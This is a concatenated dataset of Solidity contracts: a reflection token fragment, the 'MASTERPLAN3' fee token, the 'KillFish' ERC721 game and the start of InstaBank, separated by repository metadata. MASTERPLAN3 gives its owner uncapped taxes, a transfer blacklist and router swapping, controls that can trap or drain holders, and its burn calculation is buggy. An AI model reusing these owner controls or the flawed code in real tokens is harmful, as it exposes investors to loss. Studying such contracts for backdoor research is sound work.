for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 100, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 100, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 77,966 | 10,993 |
262dfe6b38e5decf7c87a4e36417df10c130ca430cd9441de5e4c9828ca2e943
| 21,261 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/13/1377302ffd8dac7a1d14aa5d8a3f22ec8a5b5262_MASTERPLAN3.sol
| 5,343 | 19,938 |
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract MASTERPLAN3 is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public _isBlacklisted; // is blacklisted
address[] private _excluded;
bool public swapEnabled = true;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 400 * 10**_decimals;
uint256 public maxTxAmount = 2_000 * 10**_decimals;
uint256 public maxWalletAmount = 2_000 * 10**_decimals;
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
address public marketingWallet = 0x5Bc87b8B1816F9D45a5dE2a04075C4a5e3265615;
string _name = "Arbi Masterplan3";
string _symbol = "Masterplan3";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 burn;
}
Taxes public taxes = Taxes(0,4,0,0);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 burn;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rBurn;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tBurn;
}
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor () {
IRouter _router = IRouter(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
excludeFromReward(deadAddress);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet]=true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() external view override returns (string memory) {
return _name;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function changeName(string memory newName) external onlyOwner {
_name = newName;
}
function changeSymbol(string memory newSymbol) external onlyOwner {
_symbol = newSymbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _burn) public onlyOwner {
taxes = Taxes(_rfi, _marketing, _liquidity, _burn);
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
totFeesPaid.liquidity +=tLiquidity;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tLiquidity;
}
_rOwned[address(this)] +=rLiquidity;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tMarketing;
}
_rOwned[address(this)] +=rMarketing;
}
function _takeBurn(uint256 rBurn, uint256 tBurn) private{
totFeesPaid.burn +=tBurn;
if(_isExcluded[deadAddress])
{
_tOwned[deadAddress]+=tBurn;
}
_rOwned[deadAddress] +=rBurn;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity, to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*taxes.rfi/100;
s.tMarketing = tAmount*taxes.marketing/100;
s.tLiquidity = tAmount*taxes.liquidity/100;
s.tBurn = tAmount*taxes.burn/100;
s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity-s.tBurn;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0,0);
}
rRfi = s.tRfi*currentRate;
rMarketing = s.tMarketing*currentRate;
rLiquidity = s.tLiquidity*currentRate;
rBurn = s.rBurn*currentRate;
rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity-rBurn;
return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity, rBurn);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),
"You are trying to transfer more than your balance");
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (to != pair)
require(balanceOf(to) + amount <= maxWalletAmount,
"You are exceeding maxWalletAmount");
require(amount <= maxTxAmount, "You are esceeding maxTxAmount");
}
require(!_isBlacklisted[from] && !_isBlacklisted[to],
"To/from address is blacklisted!");
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if (!swapping &&
swapEnabled &&
canSwap &&
from != pair &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]) {
swapAndLiquify(swapTokensAtAmount);
}
_tokenTransfer(from,
to,
amount,
!(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender]) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
if(s.rLiquidity > 0 || s.tLiquidity > 0) {
_takeLiquidity(s.rLiquidity,s.tLiquidity);
}
if(s.rMarketing > 0 || s.tMarketing > 0){
_takeMarketing(s.rMarketing, s.tMarketing);
}
if(s.rBurn > 0 || s.tBurn > 0){
_takeBurn(s.rBurn, s.tBurn);
emit Transfer(sender, deadAddress, s.tBurn);
}
emit Transfer(sender, recipient, s.tTransferAmount);
emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap{
// Split the contract balance into halves
uint256 denominator = (taxes.liquidity + taxes.marketing) * 2;
uint256 tokensToAddLiquidityWith = tokens * taxes.liquidity / denominator;
uint256 toSwap = tokens - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
swapTokensForBNB(toSwap);
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity);
uint256 bnbToAddLiquidityWith = unitBalance * taxes.liquidity;
if(bnbToAddLiquidityWith > 0){
// Add liquidity to pancake
addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
}
uint256 marketingAmt = unitBalance * 2 * taxes.marketing;
if(marketingAmt > 0){
payable(marketingWallet).sendValue(marketingAmt);
}
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tokenAmount);
// add the liquidity
router.addLiquidityETH{value: bnbAmount}(address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
marketingWallet,
block.timestamp);
}
function swapTokensForBNB(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp);
}
function updatemarketingWallet(address newWallet) external onlyOwner{
marketingWallet = newWallet;
_isExcludedFromFee[marketingWallet] = true;
}
//Remove from Blacklist
function removeFromBlackList(address account) external onlyOwner {
_isBlacklisted[account] = false;
}
//adding multiple addresses to the blacklist - Used to manually block known bots and scammers
function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
function updateMaxTxAmount(uint256 amount) external onlyOwner{
maxTxAmount = amount * 10**_decimals;
}
function updateMaxWalletBalance(uint256 amount) external onlyOwner{
maxWalletAmount = amount * 10**_decimals;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
// Thanks Freezy
router = IRouter(newRouter);
pair = newPair;
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
payable(msg.sender).transfer(weiAmount);
}
// Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake)
// Owner cannot transfer out catecoin from this smart contract
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
}
| 27,976 | 10,994 |
75cee877413cb32773421f4e7a4e688e417d8aa010680b5d7339d78a9352127d
| 20,013 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xb5c518ab9b41080af0d9df48d9ecbf1f098a44d0.sol
| 4,234 | 14,595 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transfer(address _to, uint256 _tokenId) public returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
}
contract KillFish is Ownable, ERC721 {
using SafeMath for uint256;
using SafeMath for uint64;
struct Fish {
uint64 genes; //genes determine only the appearance 00 000 000 000-99 999 999 999
string nickname; //fish nickname
uint64 birthTime; //birth time
uint64 feedTime; //last feeding time
uint64 huntTime; //last hunting time
uint256 share; //fish size (per share)
uint256 feedValue; //how much fish should eat (per eth)
uint256 eatenValue; //how much did the fish eat (per eth)
}
Fish[] fishes;
mapping (uint256 => address) private _tokenOwner;
mapping (address => uint256) private _ownedTokensCount;
uint256 private _totalSupply;
uint256 public totalShares;
uint256 public balanceFishes;
uint256 public balanceOwner;
uint256 public balanceMarketing;
uint256 public maxGasPrice;
string constant public name = "KillFish.io";
string constant public symbol = "FISH";
uint256 constant public minPayment = 10000 szabo; // 10000 szabo=0.01 eth
uint8 constant public percentFeeFishesInput = 5;
uint8 constant public percentFeeFishesOutput = 5;
uint8 constant public percentFeeFishesBite = 20;
uint8 constant public percentFeeMarketingInput = 5;
uint8 constant public percentFeeAdminOutput = 5;
uint8 constant public percentFeeAdminBite = 10;
uint8 constant public percentFeed = 5;
uint64 constant public pausePrey = 7 days;
uint64 constant public pauseHunter = 2 days;
event UpdateMaxGasPrice(uint256 maxGasPrice);
event WithdrawalMarketing(address indexed to,
uint256 value);
event WithdrawalOwner(address indexed to,
uint256 value);
function updateMaxGasPrice(uint256 _newMaxGasPrice) public onlyOwner {
require(_newMaxGasPrice >= 10000000000 wei); // 10000000000 wei = 10 gwei
maxGasPrice=_newMaxGasPrice;
emit UpdateMaxGasPrice(maxGasPrice);
}
function withdrawalMarketing(address _to, uint256 _value) public onlyOwner {
balanceMarketing=balanceMarketing.sub(_value);
emit WithdrawalMarketing(_to, _value);
_to.transfer(_value);
}
function withdrawalOwner(address _to, uint256 _value) public onlyOwner {
balanceOwner=balanceOwner.sub(_value);
emit WithdrawalOwner(_to, _value);
_to.transfer(_value);
}
constructor() public {
updateMaxGasPrice(25000000000 wei); // 25000000000 wei = 25 gwei
}
modifier onlyOwnerOf(uint256 _tokenId) {
require(msg.sender == _tokenOwner[_tokenId], "not token owner");
_;
}
function implementsERC721() public pure returns (bool) {
return true;
}
function totalSupply() public view returns (uint256 total) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return _ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return _tokenOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private returns (bool) {
_ownedTokensCount[_to] = _ownedTokensCount[_to].add(1);
_ownedTokensCount[_from] = _ownedTokensCount[_from].sub(1);
_tokenOwner[_tokenId] = _to;
emit Transfer(_from, _to, _tokenId);
return true;
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) returns (bool) {
return _transfer(msg.sender, _to, _tokenId);
}
function () public payable {
revert();
}
event CreateFish(uint256 indexed tokenId,
uint64 genes,
string nickname,
uint64 birthTime,
uint256 share,
uint256 feedValue,
uint256 eatenValue);
event FeedFish(uint256 indexed tokenId,
uint256 share,
uint256 feedValue,
uint256 eatenValue);
event DestroyFish(uint256 indexed tokenId,
uint256 share,
uint256 withdrawal);
event BiteFish(uint256 indexed tokenId,
uint256 indexed preyId,
uint256 hunterShare,
uint256 hunterFeedValue,
uint256 preyShare,
uint256 preyFeedValue);
event UpdateNickname(uint256 indexed tokenId,
string nickname);
modifier checkMaxGasPrice() {
require(tx.gasprice<=maxGasPrice, "gas price > maxGasPrice");
_;
}
modifier checkMinPayment() {
require(msg.value>=minPayment, "msg.value < minPayment");
_;
}
function createFish(string _nickname) public payable checkMinPayment checkMaxGasPrice returns(uint256) {
uint256 feeMarketing=msg.value.mul(percentFeeMarketingInput).div(100);
uint256 feeFishes=msg.value.mul(percentFeeFishesInput).div(100);
uint256 value=msg.value.sub(feeMarketing).sub(feeFishes);
balanceFishes=balanceFishes.add(value).add(feeFishes);
balanceMarketing=balanceMarketing.add(feeMarketing);
uint256 share=_newShare(value);
totalShares=totalShares.add(share);
Fish memory newFish=Fish({
genes: _newGenes(),
nickname: _nickname,
birthTime: uint64(now),
feedTime: uint64(now),
huntTime: uint64(now),
share: share,
feedValue: _newFeedValue(share),
eatenValue: value
});
uint256 newTokenId = fishes.push(newFish) - 1;
_totalSupply=_totalSupply.add(1);
_ownedTokensCount[msg.sender]=_ownedTokensCount[msg.sender].add(1);
_tokenOwner[newTokenId]=msg.sender;
emit CreateFish(newTokenId, fishes[newTokenId].genes, fishes[newTokenId].nickname, fishes[newTokenId].birthTime, fishes[newTokenId].share, fishes[newTokenId].feedValue, value);
emit Transfer(address(0), msg.sender, newTokenId);
return newTokenId;
}
function feedFish(uint256 _tokenId) public payable checkMinPayment checkMaxGasPrice returns(bool) {
require(statusLive(_tokenId), "fish dead");
uint256 feeMarketing=msg.value.mul(percentFeeMarketingInput).div(100);
uint256 feeFishes=msg.value.mul(percentFeeFishesInput).div(100);
uint256 value=msg.value.sub(feeMarketing).sub(feeFishes);
balanceFishes=balanceFishes.add(value).add(feeFishes);
balanceMarketing=balanceMarketing.add(feeMarketing);
uint256 share=_newShare(value);
totalShares=totalShares.add(share);
fishes[_tokenId].share=fishes[_tokenId].share.add(share);
fishes[_tokenId].eatenValue=fishes[_tokenId].eatenValue.add(value);
if (value<fishes[_tokenId].feedValue) {
fishes[_tokenId].feedValue=fishes[_tokenId].feedValue.sub(value);
} else {
fishes[_tokenId].feedValue=_newFeedValue(fishes[_tokenId].share);
fishes[_tokenId].feedTime=uint64(now);
fishes[_tokenId].huntTime=uint64(now);
}
emit FeedFish(_tokenId, share, fishes[_tokenId].feedValue, value);
return true;
}
function destroyFish(uint256 _tokenId) public onlyOwnerOf(_tokenId) checkMaxGasPrice returns(bool) {
uint256 share=fishes[_tokenId].share;
uint256 withdrawal=shareToValue(share);
uint256 feeFishes=withdrawal.mul(percentFeeFishesOutput).div(100);
uint256 feeAdmin=withdrawal.mul(percentFeeAdminOutput).div(100);
withdrawal=withdrawal.sub(feeFishes).sub(feeAdmin);
totalShares=totalShares.sub(share);
fishes[_tokenId].share=0;
fishes[_tokenId].feedValue=0;
fishes[_tokenId].nickname="";
fishes[_tokenId].feedTime=uint64(now);
_transfer(msg.sender, address(0), _tokenId);
balanceOwner=balanceOwner.add(feeAdmin);
balanceFishes=balanceFishes.sub(withdrawal).sub(feeAdmin);
emit DestroyFish(_tokenId, share, withdrawal);
msg.sender.transfer(withdrawal);
return true;
}
function biteFish(uint256 _tokenId, uint256 _preyId) public onlyOwnerOf(_tokenId) checkMaxGasPrice returns(bool) {
require(statusLive(_preyId), "prey dead");
require(statusPrey(_preyId), "not prey");
require(statusHunter(_tokenId), "not hunter");
require(fishes[_preyId].share<fishes[_tokenId].share, "too much prey");
uint256 sharePrey;
uint256 shareHunter;
uint256 shareFishes;
uint256 shareAdmin;
uint256 value;
if (shareToValue(fishes[_preyId].share)<minPayment.mul(2)) {
sharePrey=fishes[_preyId].share;
_transfer(ownerOf(_preyId), address(0), _preyId);
fishes[_preyId].nickname="";
} else {
sharePrey=fishes[_preyId].share.mul(percentFeed).div(100);
if (shareToValue(sharePrey)<minPayment) {
sharePrey=valueToShare(minPayment);
}
}
shareFishes=sharePrey.mul(percentFeeFishesBite).div(100);
shareAdmin=sharePrey.mul(percentFeeAdminBite).div(100);
shareHunter=sharePrey.sub(shareFishes).sub(shareAdmin);
fishes[_preyId].share=fishes[_preyId].share.sub(sharePrey);
fishes[_tokenId].share=fishes[_tokenId].share.add(shareHunter);
fishes[_preyId].feedValue=_newFeedValue(fishes[_preyId].share);
fishes[_preyId].feedTime=uint64(now);
fishes[_tokenId].huntTime=uint64(now);
value=shareToValue(shareHunter);
if (value<fishes[_tokenId].feedValue) {
fishes[_tokenId].feedValue=fishes[_tokenId].feedValue.sub(value);
} else {
fishes[_tokenId].feedValue=_newFeedValue(fishes[_tokenId].share);
fishes[_tokenId].feedTime=uint64(now);
}
value=shareToValue(shareAdmin);
totalShares=totalShares.sub(shareFishes).sub(shareAdmin);
balanceOwner=balanceOwner.add(value);
balanceFishes=balanceFishes.sub(value);
emit BiteFish(_tokenId, _preyId, shareHunter, fishes[_tokenId].feedValue, sharePrey, fishes[_preyId].feedValue);
return true;
}
function updateNickname(uint256 _tokenId, string _nickname) public onlyOwnerOf(_tokenId) returns(bool) {
fishes[_tokenId].nickname=_nickname;
emit UpdateNickname(_tokenId, _nickname);
return true;
}
function getFish(uint256 _tokenId) public view
returns (uint64 genes,
string nickname,
uint64 birthTime,
uint64 feedTime,
uint64 huntTime,
uint256 share,
uint256 feedValue,
uint256 eatenValue) {
Fish memory fish=fishes[_tokenId];
genes=fish.genes;
nickname=fish.nickname;
birthTime=fish.birthTime;
feedTime=fish.feedTime;
huntTime=fish.huntTime;
share=fish.share;
feedValue=fish.feedValue;
eatenValue=fish.eatenValue;
}
function statusLive(uint256 _tokenId) public view returns(bool) {
if (fishes[_tokenId].share==0) {return false;}
return true;
}
function statusPrey(uint256 _tokenId) public view returns(bool) {
if (now<=fishes[_tokenId].feedTime.add(pausePrey)) {return false;}
return true;
}
function statusHunter(uint256 _tokenId) public view returns(bool) {
if (now<=fishes[_tokenId].huntTime.add(pauseHunter)) {return false;}
return true;
}
function shareToValue(uint256 _share) public view returns(uint256) {
if (totalShares == 0) {return 0;}
return _share.mul(balanceFishes).div(totalShares);
}
function valueToShare(uint256 _value) public view returns(uint256) {
if (balanceFishes == 0) {return 0;}
return _value.mul(totalShares).div(balanceFishes);
}
function _newShare(uint256 _value) private view returns(uint256) {
if (totalShares == 0) {return _value;}
return _value.mul(totalShares).div(balanceFishes.sub(_value));
}
function _newFeedValue(uint256 _share) private view returns(uint256) {
uint256 _value=shareToValue(_share);
return _value.mul(percentFeed).div(100);
}
function _newGenes() private view returns(uint64) {
return uint64(uint256(keccak256(abi.encodePacked(now, totalShares, balanceFishes)))%(10**11));
}
}
| 145,108 | 10,995 |
0305c024ba6436d5564e6374994d0505226526ea3a47d0bf73fab726411f596b
| 11,642 |
.sol
|
Solidity
| false |
154267921
|
Instadapp/InstaContract
|
411b5f722116d289eb4813b7d8bacb368c08f462
|
contracts/v1/bin/InstaBank.sol
| 3,305 | 11,469 |
pragma solidity 0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Assertion Failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Assertion Failed");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
interface AddressRegistry {
function getAddr(string calldata name) external view returns (address);
}
interface MakerCDP {
function open() external returns (bytes32 cup);
function join(uint wad) external; // Join PETH
function exit(uint wad) external; // Exit PETH
function give(bytes32 cup, address guy) external;
function lock(bytes32 cup, uint wad) external;
function free(bytes32 cup, uint wad) external;
function draw(bytes32 cup, uint wad) external;
function wipe(bytes32 cup, uint wad) external;
function shut(bytes32 cup) external;
function per() external view returns (uint ray);
function lad(bytes32 cup) external view returns (address);
}
interface Resolver {
function transferCDPInternal(uint cdpNum, address nextOwner) external;
}
interface PriceInterface {
